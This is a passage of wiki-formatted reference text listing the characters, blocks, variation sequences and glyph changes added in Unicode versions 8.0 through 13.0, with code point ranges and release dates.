* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
